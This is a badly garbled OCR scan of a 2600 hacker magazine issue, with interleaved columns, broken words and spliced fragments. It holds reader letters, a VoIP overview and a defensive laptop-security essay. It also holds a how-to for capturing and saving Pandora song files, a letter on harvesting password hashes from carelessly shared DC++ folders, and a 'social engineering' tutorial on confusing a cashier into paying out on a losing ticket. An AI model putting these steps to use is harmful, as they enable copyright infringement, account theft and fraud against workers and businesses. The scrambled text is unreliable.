Taking Action freedom oi speech and am not suggesting that

the law should tighten the reigns on any consli-
Dear 2600: tutio nal freedoms (that we stil l have) although

I know that I may represent a small part Seatt le legislators are apparently work ing on it.
o i your demographic in that I hope 10 work On the other hand, this man is just using legal
wit hin the cr im inal justice system someday looph oles (he appears to be just the oth er sine
(assessment. alternative sentencing, reform ) of inci ting or stalking or, arguabl y, hate speech
and, for obv ious reasons, have a strong, vested _but not over the line), and I'm just wondering
interest in staying on this side of the law. That if there are any legal loopholes on the other
said, I've been readin g 2600 ior about ten side, any loopholes that wo uld allow some
years. You provide Information that I th ink the form oi redirecting trafflc or causing prob lems
pub lic shou ld know but that people don 't talk or shutt ing the site down. Is there any way a
about enough. person or community can use a legal means to

I've never w ritten a letter to you before mor al ly oppose and disrupt th is site?
and wasn' t sure if I should. I was just thinki ng! I have always bel ieved that it is crucial to
hoping you might have a suggestio n. I'm prot ect freedom oi speech under the law, even
guessing you 're one of the best resour ces in speech that I detest. I think that if the govern-
this area. rnent restricts freedom of speech much further

I saw a horr ible storv on the news this . II . h h
. I (even lor a tota y lu st purpose) I al I c conse-

morn ing (clearly nothing new but I wo ndered qui-nces may be far-roaching and less just. I
if I could do something about this one). Appar- don't suppor t vigi lante justice, either. I'm just
ently there is ,1 self-admi tted (but not convic ted) looking ior someth ing legal and creat ive. I
pedophi le, reporten to be a 45-year-old Wash- understand it may be a sl ippery slope.
lngton Slate resident wi th <l we bsite on w hic h Anon
he posts pictu res of kid s that he takes wh er- l t s more like 01 sheer cliff vou 'n- standing
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on. First o ff, someone who actively seeks
this amount of publicity is obvio usly looking
for and bcneiiting from a big reaction . Such
a "shocking" case could even be part of an
intentional scheme to provoke public response
and force a dem and to get rid of certain free­
dom s. A bizarre scena rio, granted, but not
that mu ch more bizarre than the one we 're
expected to believe. Whateve r the reason, it's
not wise to play into this. Second, you can
bet any Nlegal looph oles" are already being
exp lored by legal teams. But most importantly,
it's not up to us to imp ose "justice " on the net
any more than it's up to anyone else with no
legal authority. While this is a case that may be
easy to suppo rt, any action taken could wind
up se tting a very bad preceden t inso far as how
hackers are seen by the rest of the world. The
examples you list (redirecting traffic, causing
problem , shutting the site down) do indeed
sound like vigilante justice and that 's far more
harmful than anything this guy can sayan his
website. There are all sorts of legal remedies
which can be applied the mom ent an actual
crime is committed. In addition, Internet
providers can act as they see fit and even
rewrite their Terms of Service to exclude this
.sort of material. Pressure can be put on entities
that don 't appear to be doing eno ugh. In the
end , achieving justice in this way will be far
more meaningful than acting on an impulse,
which we suspect is the goal of those who put
this story together in the Iirst place.

Security Issues

Dear 2600:
I've been an avid reader for nearly three

years to enl ighten myself about security and
the foll ies thereabout. It's hard for me to focus
because of ADHD, but 2600 is the only maga­
zine where I can just sit down and read from
cover to cover w ithout concerning myself
w ith the distractions around me, even despite
the fact the pages aren't clad wi th 2Rice2Ri­
diculous cars or an advertisement wi th some
semi-hot lady provocatively bent over the
version of Webs ter's Dictionary.

It's sometimes comical but mostly sad that
average Ioes don't realize the security threats
they sometimes pose to themselves by either a
lack of common know ledge or complete lazi­
ness to read up on the product the y spent thei r
money on, such as setting up an unsecured
wireless G router in a populated apartment
complex in the midd le of Los Angeles. The
exploit is set up from the get-go and the fault is
mostly due to the client themselves. OK, so as
for my contribution:

There is a popul ar filesharing program
called DC++ whi ch interconnects people from

all over the world to share any type of file on
their computer, be it photos, music, troj ans,
etc. Mu ch like the BitTorrent scene, there is
a heavy stress for peop le to share as much
as they download. With DC++, most of their
hubs (which connect the cl ients to each other,
each run independently - some can feature
anirne, music, specific movi e genres, xxx, etc.)
require at least some shared data to connect
and start searching for your targeted file. Some
share requirements can be as litt le as Ogb,
whi ch might not be appealing to some as a
good number of the clie nts may not be sharing
anything at al l. The higher share requirements
contain a bigger gold min e for your target.
Troub le is some peopl e are starting out fresh
and have nothin g to share, albeit a few photos.
shareware, and free trials of AOL.

Desperate, lookin g for their designated
file, they share their entire hard dr ive upon
DC++'s instal lation. This includ es their vital
OS folders, such as C:lWindows. I on ly know
of one vital fi le (I'm sure there are hundreds)
and that wou ld contain cookie information .
Snoop around this file and you' l l be able to
find logins and passwords in hash form, whi ch
can quickl y be decrypted using [avascript MD5
and SHA 1 crackers.

I recent ly read an artic le where a female
(minor) was charged w ith possession of ch ild
pornography, child abuse, and molestation
of hersel f when she passed "lewd " photos of
herself through the Internet wi llingly. Should
peopl e who set themselves up for exploita­
tion in this form be punished for hacking
themselves?

lucidRIT
Yet another example of how some of the

legal issues being explored lately via the net
have been truly astounding.

Store Issues

Dear 2600:
In 24: 1 the letters discuss fingerprint issues.

The letters also discuss messed up bar codes.
By combining two probl ems, one arrives at a
solution: some jerk flipped through a copy of
2600 without buyin g it thus messing up the
bar code (the fingerprin t issue ink got on thei r
thumbs). Wh en a loyal reader wants to buy
that issue the bar code wo n' t scan because it
has some jerk's fingerprints on it. I tested thi s
theory out on a bar code reader and found that
it works.

Mallh ew
The t's de finitely unsettling if true. Yet

ano ther reason 110t to have removable ink.

Dear 26 00:
Just wr itin g to let you know that the past
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nate choice to be sure, as your magazine is
of incomparably better quality, but useful
nonetheless). The bar code on the April issue
of Maxim is 725274 (prefix) 03744 (BIPAD) 5
(checksum) 04 (issue code representin g April
in the standard format for monthly titles). You
will note that the prefix is the same in both
cases; how ever their cover price is $4.99 .

I'm not sure why Barnes and Noble
wouldn 't maintain price data for magazines in
their databases, as the letters by CPeanutG and
Twit cH indi cated. II is possible they consider
it too labor intensive, but compared to the
manual inputt ing of pr ices and the potential
for error therein, I don 't know if it computes.

I hope you found thi s information useful or
interesting.

Ben
Thanks for straightening us out on that.

It's always very help ful to have people on the
inside explain how it all works.

Questions

Dear 2600:
I've got a question. I'm working on a news

podcast project with a few other folks and was
wondering if it would beall right if I used some
of the articles from the mag in the program
(either as news or a sort of "Hack of the Week"
type thing, depending upon what the article
covered).

Macavit y
This kind of thing is de finilely cool with us.

Dear 2600:
I didn 't know who to write. I just wanted

to know whether or not on the cover of 24:1
that device is a cell phon e jammer? If so, are
there any schematics that I can use to build
it? Maybe it was in a past issue that I missed?
Can you can just point me in the right direc­
tion? I'm interested in using it in classrooms,
theaters, or even in traffi c where peopl e should
not be talking, etc.

Thanks from an avid Canadian reader since
back in the day.

M
Indeed that is a cell phone jammer on the

cover. This model is known as the RX9000
from a company called Global Gadget in the
U.K. We also printed a schematic and addi­
tional info in 23: 4 on how to build the world's
first open source cell phone and wifi jamme r.
Legalities on possession and ope ration of such
dev ices vary so you might want to check what
you're up against before taking the plunge.

Dear 26 00:
Wh at as do you prefer: Windows, linux,

or M ac?
Davis

We don 't discuss religion here.

two times I've bought your magazine at the
Borders in West l ebanon, New Hampshire
they manuall y entered the code but the sales
receipt only showed "periodical." To make sure
you get the proper sales credit I'm assuming it
should say "2600"?

Raven
It really depends on the store software as

well as their policy on how they count issues. If
they can 't read the bar code but instead enter
the numbers and find us in the database that
way, we have no problem with this. Nor is it
a point of contention if they simply enter the
price and credit us with the num ber of old
issues no longer in their store when the new
one comes out. But if they somehow lose track
of how many of our issues they sold (which
they often are unwilling to concede) and then
jump to the conclusion that they didn 't sell all
the issues that are no longer there, then we
do indeed have a huge problem . It's almos t
impossible for custome rs or even publishers to
know for sure when this is going on.

Dear 26 00:
I have been foll ow ing, out of professional

curiosity, the ongoing discussions in your
letters pages regarding the treatment of your
magazine in chain stores and newsstands. As
the Buyer for two large ind ependent news­
stands in Chicago, I believe I can help shed
a lillie light. The answer you gave CPeanutG
(24:1) is incorrect. The bar code associated
wi th a magazine contains no embedded price
information. The intro digit plu s the first five
represent a prefix. The second five digits are
the BIPAD, whi ch is a unique identi fying
number for every magazine. The fina l number
is a checksum. After these 12 numbers is a
two digit issue code. The prefix nearly always
begins with 0 or 7 (which represent generic
commodities in UPC). The foll owing five digits
of the prefix can be assoc iated w ith a specific
publisher or wholesaler or be generic (the most
common generic prefix is 0744 70). In any
case, when the price of a magazine changes,
the prefix is usually changed as a courtesy to
the retailers. This prefix change prevents the
magazine from scanning into my pas system
and lets me know it 's time to change the price
and update the bar code in my internal data­
base. Remember, the prefix changes when a
price change occurs, but any given prefix has
noth ing to do wi th the price.

For example, your bar code on 24:1 is
725274 (prefix) 83 158 (BlPAD) 6 (checksum)
71 (issue code representing 2007, issue one,
the standard format for quarterl y lit les). You
seem to be under the impression that the prefix
containsyour cover pri ce ($6.25) becauseit was
changed when your price changed. Compare
that to the bar code on Maxim (an unfortu -
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by Toni-Sarna
I was ta lking to a Ipch buddy of mine

during a visit home w hen the subject of
yo~P-enabled cel l phones came up . He was
msrstont that the technology wo uld neve r
come to pass because it simp ly wou ldn't be

I
l ro ii tab le. I argued, saying it was the next
ogical st.ep, .and 10 prove h im wrong I've

do ne a bit ot hom ewor k. Now I don 't think
the techno log y is w ide ly avail ab le (or hacker­
friendlv) yet. but w ith a host of manu factu rers
(Nextc-l. Sprin t, Qualcornrn, and M otorol a)
planning and developing Vo lI'-jr ipnd ly hand­
sets, I think w e should prepa re for this tech­
nol ogy ju mp.

What is VoIP?
Vo lI' is simply "Voice over lntom ot

Protocol." a stem of the Network Voi ce
Protocol from the days of ARPAN ET. It 's
a falrly neat l ittl e thing , ut ili z ing an 11'­
co nnecte d co mput er and a POTS (Plain
O ld Telephone System) line. The computer
co nnects to a website, wh ich rece ives the
POTS number from till' rornputor, then
connects to the POTS lin e through the PBX
(Private Branch cxcha ng«), The co nnec­
tio n can also be thro ugh a dedi cated system
(or adapter). or even through a bu i lt-in
conve rter. VolP has been w idely ut i li zed by
pXlstmg phon e networks for the transfer of
dat a, wh ich has given way 10 the "un limited
local calli ng p lans" of the major telephone
companies.

Now, obviously, cel l phon es do n't have
,1 bu i lt- in II' connect io n, so the cormort ion
comes from one oi two sources: Unlkonsod
Mobi le Access or Se-ss ion Initiat io n Protocol.

U M A is tho "easy" rh oirr- because it
uti lizes Hluetoo th torhno log y to connell to
the PBX. UMA works very well wit h Global
System for Mobile communications (GSM )
operator s. and can also sw itch between
Vo lP and cel lular networ ks easi ly. Unfort u­
nately. as a downs ide oi this ease, it 's also
a bit pri ci er and it 's current ly on lv availab le
on phon es w ith Bluelooth tech n(l logy, a la
Motoro la RAZR V3 and the V5(,O. BT Group,
oul . of Great Britain, offers pack.1gps that
uti l ize Volf? wh en the custorner is at horne. In
retu rn for using VolI'. tho price is lower when
till' networ k is used. TIl(' prices can get as low
as 55p tor an r-nt in- hou r oi use.

SIP is the oth er cho ice. although it 's
certainly less pop ul ar. 511' ut ili zes a W i-Fi
router to con nect to the lntc rnet, w hich then
ut il izes Real-Time Transpor t Proto co l (RTP)
to com municate w ith a SIP rou ter. The 511'
rou ter interacts w ith the Publ ic Swit ched
Telephone Networ k (PSTN) and the co mmu­
nication runs from the n>. The benef it of th is
technology is that it connects to tho PSTN via
a software, standard, not rr-quiriru; a home
router. Unfort una tely, yo u can current ly only
call other util izers of the technology because
of the (; .7 11 standard. Likewi se, onlv rr- rtain
phon es can USl' th e softwa re (Nokia E60,
E61, and E70).

, The State of the Technology
.. Io my knowledge , on ly two companies

otte rVo lI' cel lular serv ice.TIll' first is the afore­
ment ioned BT Group w hich offe rs serv ice
in Great Brita in. It ut ili zes a hom e service
pl an and for the pri ce oi roughly US S120
you get a ph one, mo dem , and a calli ng pl an .
B!,sphon~~s use UMA. The other co~P,lIlY
otterrng this IS Trup hone, a company otte ring
a beta test 01 the SIP for the Nokia E-Sl'r ies
phones, w ith downloads coming soon ior
the N-Sl'ri l's (Nll O, N lJ1 , NlJ2, and N9 J) and
VVindows Mobile compatib le phones. The
techno logy isn 't go ing 10 he l im ited ior long,
though. Phill ips Sem icon ductors is manu­
fartur ing UMA chips for cell Ilh ones, TeX,lS
Instruments is coming ou t w it 1 W iLi nk 4.0 ,
Ericsson is man ufacturi ng UMA phon es, and
Qu.rkomrn. Norte] . Verizon, and Spri nt are
all using a protoco l ca l led "EV-DO Revi ­
sion A. " MOloro l'l , through Skype. is p lan ­
ning releases this spring. and th is technology
IS soon to be popul ar. At present, till' more
po pula r option is to run over a mana ged
network. versus an unmanaged networ k (i .e.,
the Internet) due 10 voi rr- fJual ity conce rns.

Uses and Abuses
Now if you're a hacker, you understand

the great potent ial behi nd this . Cellu lar tech­
nolog~: is goi ng to he chc-apor and possib ly
even tree (to begi n with. sinc« VolP isn't
currently rcgu l.uod ). OJ course, vou'I l sti ll
haw to contend w ith quali ty, ane! interna­
tio na] call s are going to 1)(' iu nky (,lS per
usua l). bUI w ith the benefit of ce ll u lar sorvi co
yo u won't have to worry about f indi ng an
active connecti on should you roal lv need to
make a call , perhaps in an emergency situa-
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ndora Hack - Get Free MP3s

tri es have imp osed restricti ons on VolP due to
governm ent-owned phone companies. Al so,
at thi s tim e location registration for Voll' isn't
mandatory and can't f'<ls i ly be determined
from the calli ng phone. As a result, Caller ID
wi ll seldom work if it works at all. It could
also easily be spoo fed from aVol!' "land line,"
so presumably it could be spoofed from a
('ell phone. In add ition, most consumer VoW
networks don 't support encry ption, so phone
calls co uld be intercepted and even changed.
This should be legislil ted soon, since govern­
ment is extremely interested in regul ating
this new form of communica tio n.

Know what I'd love to see? Art icles
giv ing more detail on the actual processes
of r ornrnunlca tlo n over VolP and POTS, and
some reall y detailed tech specs on VolP­
ready phones. So, all you phreaks out there,
get crackin '.

Thanks to Coogle, O' Reilly, Truphone,
BT Croup, w lkipedi«. and Allthony, who
inspired this work. Sho ut-outs to lessik«, I3illy,
Bean, Cendo, and Troy.

in beta mode) called HTIPGuideDog. You
can download the GuideDog extension from
ht t p: / / c o d e . g oog l e . c om/ p / h t t pg u i d e d og /.
(Note: There are other Firefox extensions that
w ill perform the same functi on .) Both of the
recommended browser plugins wi ll capture
"get" and "post" requests wi th cor responding
response data from the browser session. Now
that you have the tool s you need, it is tim e for
the free music.

You will first need to set up an acco unt
on Pandora.com and create some of your
favorit e "M usic Station s." Just as an example,
the first radio station I created was based
on the band Radiohead. Just as an aside,
both HTIPWatch and HTIPGu ideDog have
almost identica l features and will work in the
same way. Now is the tim e you will need to
turn on either HTIPWatch or HTIPGuid­
eDog and start record ing your Post and Get
data. When you start to hear music, you
should see the browser plu gin recording .11/
of your gel and post data.

It is easy to tell wh ich http requests are
songs because Pandora wi ll use a spec ific
dom ain ''http://audio-...", For example,
the first song that I saw in creatin g my
radio statio n was 0 9: 16 : 1 2. 33 3 0 . 4 4 4

1 2 34 5 6 7 8 GET 2 0 0 app lica tion/octe t-stream
htt p : / /audio -ix x x8 - fe x2 5 .pa nd ora .

y ICkCodeMonkey
Applications such as BitTorrent give many

Internet users the abil ity to download frpp
music, app lica tions, and movies from other
users. Because HifTorr cnt is one of the most
popular applications used to obta in copy­
righted material (i l legall y), BitTor rent trackers
have been a target of frequent raids and shut­
downs on behalf of the M!'AA and RIAA.

Never fear because thi s article w ill show
you a wh ole new way to get the free music
you're looking for and w i ll also show you
how you can obtain it from online radio
stations, specifi call y Pandora. Please note,
my purpose in writing this article is not to
have the lawyers after Pandora or have them
taken off lin e, but rather to explo it a logic
bug in hopes that they too w ill see the light
and correct th is breach.

In order to get free music from Pandora,
you will need to download a browser plu gin.
For all of the Internet Explorer fans, you can
download a free tool called HTIPWatch.
This tool can be downloaded by going to the
foll owing URL: h ttp : / /www. h ttpwa t c h . c om/
- downl oa d / . At first I was havin g issues with
find ing a plu gin compatible with Firefox
and then it dawn ed on me: Goog le "flrefox
httpwatch", The very first entry po inted me
to a nice little Firefox extension (currently
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tion. Also, because of the modern technology
of these phones (Truphone programs their
softwa re in C++ on Syrnbian), these thin gs
could possibly be tweaked, allo w ing data
transfers as we ll as digital vo ice co mmunica­
tio n. In the future, you might watch more than
TV on your cell phones, perhaps acqu lrin g
audio/vi deo communication. Thin k instant
globa l v ideo, with real-time audio . You could
communicate with your boss in China i1S you
organize your meeting in New York. You
could chat wi th you r internatio nal excha nge
student in Germany from your home in
Canada. Soldie rs could talk to their families
and loved ones face-to-face. Hell , organize
a conference wi th your guild buddi es on
WoW. See concerts live from other countries.
The possibilities are lim itless.

However, there are some negatives to it
at thi s tim e. If you live outside of the United
States or Great Britain , you face some diffi ­
cult ies. In Ethiopi a, Vall' is illegal. In India,
you can' t make a VolP Gateway. Likewi se,
man in Am erican and Caribbean coun-



- c o m/ a c c e s s / 1 2 34 5 6 ?v e r s i o n a 2 &t o k e n =a b c d e f g h i j k l mn o p q r s t u v wx y z a b a b c d e f g h i j k l m
- nopqr s t uvwxy za ba bc de f g h i j k l mnopqr s t uvwxy za b &lid =123456789. You should only
be concerned with the specific song URL: h t tp: / /audi o - ixxx8 - fex2 5 .pandor a . c om/
- a c c e s s / 12 34 5 6?v e r s i on =2 &t o ke n - a b c d e f g h i j k l mnop q r s t uvwx y za b a b c de f g h i j k l mno pq r s t u
- vwxyza ba bc d e f g h i j k l mnopqr s t uvwxy za b &lid =123456789 . (Note:The URL used in thisexample
is a fake URL, so do not attempt to go to that URL.)

You will need to copy that URL and past it in a Firefox browser window. After submitting
the URL, you will qui ckly get a "Do wnload Noti fication ." Make sure you save the fi le to di sk
and do not open it. After the fil e has successfully downloaded, you will need to edit the name
of the file to include a fil e extension. The file that I downloaded was 8xxx2 x5 so I changed
the name to 8xxx2x5 .mp 3. At this point, you have successfully dow nload ed a music fi le from
Pandora. Be careful because Pandora likes 10 queue up music requests, so if you are not
careful you wi ll downl oad the next song that wi ll be played on your station.

If you are a coder you can take this logic to an extreme. O ne could theoreticall y build
a python script, or whatever language you feci most comfortable w ith, to automate this
process.

On that note, happy downl oading.

by Marxc2001 me from the fu ll wrath of the train manager).
I do not purport any of the information in I was sti ll buzzing from that previous expe-

this article to be correct nor accurate. It is the rience w hen a friend/mentor in the hacker
opinion of the author (me) only. The author ways told me about "soc ial engineering."
(me again! ) does not accept responsibil ity for Besides getti ng free food and the like in
anything that you mayor may not do or not a restaurant, social engineering didn 't seem
do, nor any consequences therein. very useful nor intr icate enough to me to

Neuro-li nguistic programming is one begin with. But I had a feeli ng that there must
of today's "buzzword" things to have as a be more that you can do. Then I discovered
trainer. It is basicall y a mix of Chomskian NLP, and all of its psychological inferences,
li nguistics and behavio ral psychology, inter- techniques, methods, and mysterious (at the
mingled with a 10 / of bullshit. Some of the time, anyway) ways. It was great. Suddenly
more paltry courses merely teach you the doi ng all sorts of we ird and wo nderful things
models and methods. They expect you to seemed not on ly possible, but easily within
pay a lot of money for the pr ivilege and the grasp of those who wou ld work on the
you leave wit h nothing. I don't wis h th is to techniques. It was not unti l I saw Derren
become a harangue, but this does cheese me Brown's Mind Control specia ls that I was
off somewh at. given a boost as to w hat could be done .

However, its more pure aspects, tech- Beware, though, for in his shows there is a lot
niqu es, and theories are quite appealing to of trickery and very clever deceptions (I can
our furtive ways. I used to del ight in having say this being a magician myself, special­
my w icked way w ith computers - getting iz ing in Mental Magi c). I am deeply skep­
them to log me in, rootkits, Trojans, and the tical about NLP - I don 't trust the lit erature
like - I was young and stupid. Then one day around it any more than I could throw it, and
I did somethi ng - I got onto and off a train. even that's too far - wh en studying this sort
I had boug ht a ticket, but the one that the of thing. the art is to weed out the crap from
train manager had stamped was not valid for the good stuff. Separate the wheat from the
that day nor exact route. It was strange - I chaff, so to speak. On ce you learn how to do
had been using an invalid ticket, but was so that, then you are ful filling a properly skep­
sure, confident, and convinced that it was a tical and healthy mind set.
valid one that no one had seen fit to question Take this example: don't think of a black
me. I tri ed this again but without buying a cat! Oops, you just did. The reason that you
valid ticket. Suffice to say, my nervesgave me did isn't due to any "negative IJsychology"
away and I went and had to buy a full ticket bu llshit that some peopl e wou d have you
(my feigned innocence, however, had saved beli eve. It is because your subconscious
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mind, skipping the negative "don' t" in the
sentence has just heard the command "think
of a black cat," and so it w i ll immediately call
up the image of a black cat, witch and all,
from you r memory for you to use. How ever,
in do ing so you have unwillingly disobeyed
the command. This is one technique used in
advertising, for example.

My favor ite exampl e of these sorts of
things is a particular item that Derren Brown
did - the W althamstow dog track piece. The
idea was simple - get a cashier at a dog
racing track to pay out on losing dogs. If you
haven't seen it, go to h t t p: / / www. y o u t ube .

" c om/ wa t c h ? v : II - Qc W4Q4 I. Now I'm not
ruling out the possibi lity that it was a stooge
(a co nfederate in the pay out window) but
let's say that th is was not the case.That means
that some rather interesting psycho logy is at
play here.

TIle general technique is based around
something termed as a " Pattern Interrupt. "
Mu ch like the interrupts in a CPU, these
occur wh en something interrupt s our pattern,
or flow, of thought. Thi s tri ggers something
referred to as a "Trans-Derivational Search" ­
a TDS. Thi s is where our in terrupted subcon­
scious mind panics and starts to loo k for
someth ing to concentrate on, el ic iting a state
of co nfusion that renders a person deepl y
suggestib le.

Imagine thi s- have you ever gone to shake
sorneonc's hand, only to find that just as your
hands are about to meet, they put thei r hand
up to their nose, w iggle their fingers, and
make "nyaa nya nya nyaa nyaaa" sounds?
If you have, or seen it done, then you have
seen a pattern interrupt - the norm al pattern
of behavior has been interrupted and has left
the subject/v icti m in a state of loss, and their
mind is looking for something to latch onto
so that it can continue its thought patterns.
It is at this stage, the TDS stage, that we can
implant lot s of lovely suggestions to i lli cit the
behavior that is desired .

In the case of the Wallham stow dogs,
Derren Brown walks up to the wi ndow and
says, "This is the w inning ticket." The cashier
goes throu gh the nor mal mot ion s of vali ­
datin g the ticket, but she goes back and says
"Sorry, th is is not a w inning ticket," at w hich
po int Brown bangs his hand on the w indow
trarne and says"This is the dog you 're lookin g
for. Try again, you may have misread it."

In this example you arc interrupt ing the
cashier's pattern, and tel li ng her wh ilst she is
in that suggesti b le TDS state that " this is the
dog you're looking for" - that is, the cashiers
are lookin g for the w inning dog number on
the t icket, and w hilst they are in a state of
TDS, you just tel l them that this is the dog

that they are desperately looking for. You are
also giv ing her a rational reason as to why
she didn 't just payout on it ("Try again, you
may have misread it") .

Another phrase that Brown uses in the
second part of thi s effect is this: "This is
the dog yo u're looking for - that's w hy we
came to this w indow." This plants the same
suggestion for the cashier as above - that
the wi nning dog that they look for on the
ticket is there - but has a second sugges­
tion that relies on verbal emphasis. Reread
the second sentence. Got it?The suggestion
should be punctuated like this in your vo ice:
"That's w hy we came to this window." See
it? "We came to w in " is the suggestio n and
it just emphasizes to the cashier that you are
a winner and as such are to be paid (after all,
that's w hat the cashier doesl).

The one thing to emp hasize about sugges­
tion is that scripting is very important, and
also getting these flu ent is paramount. Al so,
wh en do ing anythi ng, you mu st, must, must
just believe that it wi l l work to give it its
best chance of doing so. This is tantamount
to succeed ing wi th suggestion . If it doesn't
work, just drop it and mov e on . Nothing
done, nothing damaged.

Take these theori es and run with them. If
t ime permi ts there may be fo llow ups to this
art icle but the on ly li mitat ion is your own
imagination , creativ ity, and resources - and
so it is for the rest of the hacker co mmu­
nity. I have released thi s min i-tut in light of
a complete absence of inform ation about
th is sort of stuff, and a thi rst for know ledge
regard ing this. This articl e has covered very
basic suggestion and pattern interrup ts.
Other interesting areas are anchors, hypn oti c
language, trance state inducti ons and manip­
ulat ion, mod els and internal representations
to name but a few.

As you can sec, th is is very interesting to
look at. There are many such techni ques and
examples of these things allover the Internet,
medi a, and in boo ks. I w i ll not list many
here, but the few I recommend are:

Teach Yourself NLI' by Steve Bavl ster and
Am andaVickers.This is a very good summary
of NI.P core theory and not a lot of bullshit
w ithin its pages.

Tricks of the Mind by Derren Brow n. Just
released, this is the first book that conso li­
dates the things that he is interested in
and dabbles in . A very good read and very
informative.

Have fun . Be good. Use responsibly.
Remember - Derren had a TV crew behin d
him to pay back the dog track.

You do n't.
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It's probab ly a safe ass umpt ion that gives an attacker access to all your data. But
everyone read ing this magazine is already how many files on your system are ow ned by
paranoid, bu t how paranoid arc you and are the same user you use to run Firefox, Pidgin,
you paranoid enough (or for tha t matter, too an d IRe? What prevents a co mpromise in any
much, which car ries its ow n risks)? of those app lications from giving access to a ll

A prop er level of paranoia isn 't about your files? Enforc ing per-appl icat ion sec urity
thinkin g that the potted plan t is plann ing to is vita l for preventing vulnera bilities in one
assa ult your sleep. It's abo ut making intelli- applica tion from co mpromising all of them.
ge nt cho ices to protect yourself, your privacy, The eas iest method of 10 king down appli­
your fina nces, your job, and, dep ending on cations is by dividing up the u ers they run
where you live (and what rouchoose to do), as. On "nix systems, this is relatively simple
your freedo m. The cos t 0 having your data and ca n be don e with "sudo" and some she ll
compromised is ultimately the driving factor scripts to laun ch each ap plication as a se pa­
beh ind sec urity decis ions. Non e of us are rate user (and eve n allow each applica tion
particularly excited at the prospect of losing limited access to other restricted ap plica­
our privacy, ban k deta ils, or our jobs becau se tions, such as opening a URL) or by changing
of a sec urity bug. In a targe ted atta ck, the cost the ow ners hip of the applicat ions and using
of compromise may be eve n higher - source the SUID bit. Segregating a ll your appli­
code modified to introduce backdoors or cat ions into different users with restricted
sec urity vu lnerabil ities prio r to distr ibution, pe rmissions i n't the onl y answer, but it's a
records a ltered, or employer data co rnpro- strong first step.
rnised.; and these are just the risks to you r "Strong passwords are suffic ient. ' Simply
workstat ion . put, no, they 're not. Especia lly not on a

Security in the real world is the balance laptop. With a laptop, you face two unique
between pa ranoia and practicali ty. The most ri ks: theft (e ither random or targeted ) and
sec ure system is one turned off, encased in easy physical access. The risks from both arc
ce ment, and at the bo ttom of a quarry. Despite similar. No matter how strong your login pass­
the see mingly un iversa l ac knowledgmen t of words are, if someone ca n boot the syste m
the importan ce of securing systems, a large with externa l media or remove the drive and
amount of incorrect or outda ted informat ion mount it on another system, all your secu­
still ex ists. The guidelines present ed here rity mea sures arc moot. Access righ ts and
arc by no means a ca nonica l answer to the file protecti on rely on the operating system
probl em of sec uring yourself, but hopefully to enforce them, and when you no longer
thinking about side attac ks to co nventional co ntrol the operating system reading the
wisdo m help s in devising proper plans. Most disk, your data is toast. Again, fortunate ly, the
of the proposed so lutions focus on l.inux, so lution is fairly simple: Strong crypto, e ither
so lely through famil iarity, but the ideas will at the filesystem or disk level. There are a
help protect you o n whatever system you' re w ide range of tool s to implement disk crypto
running. Feed your paranoi a and keep on variou s platform s. The LUKS system uses
reading. changea ble keys for full device cryptography

"Never run norm al app lications as roo t and is nat ive to Linux but has Windows
(or administrator). " O bviously this is a goo d tool s to operate on it. Full-disk encryption
idea which hopefully most reade rs adhere typica lly ope rates at the ope rating system's
to, but the simplest implemen tat ion of this device layer, emulating a block device (i.e., a
guideli ne is to run a ll your app lications as drive). All 10 to the drive is encrypted at the
your norm al user, which for protect ing your block level, including the filesystem itself.
da ta is just as bad. A roo t-level co mpro mise Full device crypto has the advan tage of auto-
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mat ical ly encrypt ing all data placed on that
vol ume - including cache fi les, temp fi les,
and others which mig ht not be incl uded in
selective encryption . It also has the advantage
that any "ghosts" left on the dr ive (part iall y
deleted files and incom pletely erased data,
or a drive w hich has not been reformatted
with alternat ing patterns designed to w ipe
out any magneti c remnants of data) are also
encry pted. O n modern systems, the imp act
of performing encry ption on every block is
minimal, and as the CPU increases in speed
the performance hit will conti nue to drop.

"Strong cryp to is sufficient. " But didn't I
just say strong crypto was a good solut ion for
laptop s? Well , yes, but that 's not the entire
story. Edging furth er fro m mainstream risks
are the attacks against the hardware itself.
Externally facin g buses - IEEE1 384, USB, and
Cardbus/ExpressSlot - aIlow devicesto interact
w ith the system, often below the contro l of
the operatin g system. Gaining access to the
memory of a running system enables readin g
of cached fil es, cached cry pto keys, or modi­
fyin g the system to allow access to an act ive
encrypted fi lesystem. These attacks are not so
far-fetched - system debugging and imaging
hardware to exploit weak nesses lik e these
exists today, and at least one company is
advert ising the availabi lity of a USB device
which extracts all the info from a system.
Unfortunately, w hen it comes to hardwa re­
level vulnerabili ties, there is only one good
solut ion: Go to the hardware store, buy some
epox~, a~d f ill in the external po~t s . Thisprob­
ably isn t an accep table solution for most
peopl e - and wo uldn' t stop someone w ith the
resources and time to ope n a running system
and con nect to the internal leads for the bus.
If you're facing attackers w ith that much

determinat ion, chances are you shou ldn't be
trusting your data to a laptop .

" I on ly need to encryp t the lm ossngos I
fifes I drives! which art' sensitive." Another
piece of conventional wisdo m whi ch,
w hi le true, may not tell the whole story. As
mentioned above when discussing fu ll disk
encryption versus per-file encryption, there
may be fi les generated for temporary storage,
caching, copies left w hile moving fi les, etc.
These fil es can easily be missed w hen doi ng
per-f i le encryption . Encrypting onl y sensi­
tive communications and fil es carries the
addi tional risk of makin g it easier to target
"interest ing" data: If I know someone only
encrypts ernails in whi ch they talk about
sensitive information, I know that if I have
an encrypted emai l from them it' s prob­
ably worth try ing to decrypt. Form a habit
of encrypting everything, at all t imes, except
when your reci pient can't decrypt it for some
reason. GPG integration wi th email cl ients
is tri vi al to conf igure, as are dynami c SSH
tunnels (ssh usererhost -D 9999) which func­
tion as SO CKSproxies. OTR (Off The Record )
provid es per-message encryption on most 1M
systems. Increasing the encryp tion of your
communicat ions increases you r privacy and
increases the diff iculty of spott ing important
communications amo ng the chaff.

Increasing your security is a hol istic
cho ice, modi fyin g both software and human
behavior. An unknown percentage of expo­
sures mi ght be avoided wi th litt le more
than a careful eye towa rds security, and an
increased level of paranoia. Like back ups,
the proper time for making decisions about
security is befo re a compromise. A balance
between security, usabi l ity, and paranoi a is
possible w ith foresight and planning.

RSII
If you missed out on ou r latest conference (or if you were there and some­
how managed to miss one of the more than 70 tal ks given) , may we suggest
getting ahold of our HOPE Number Six DVDs?

There's no way we can list them all here but if you go to
http://store.2600.com/hopenumbersix.htmlyou'ligetasenseofwhatwe're
talking about.

We still have leftover shirts too. For ~20 you get a
HOPE shirt, a conference badge, a conference prog ram ,
and a HOPE sticker. Overseas add ~5 for shipp ing.

2600
PO Box 752

Middle Island, NY 11953 USA
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door. It makes for a support cult ure of saying
by Witchlight anything - even if it's total crap - just to get ~id

I thought I'd share with you all a litt le of the customer so you can get your mem es
story about a script kiddie, a real nice vi ct im met to get your bonus for being the best
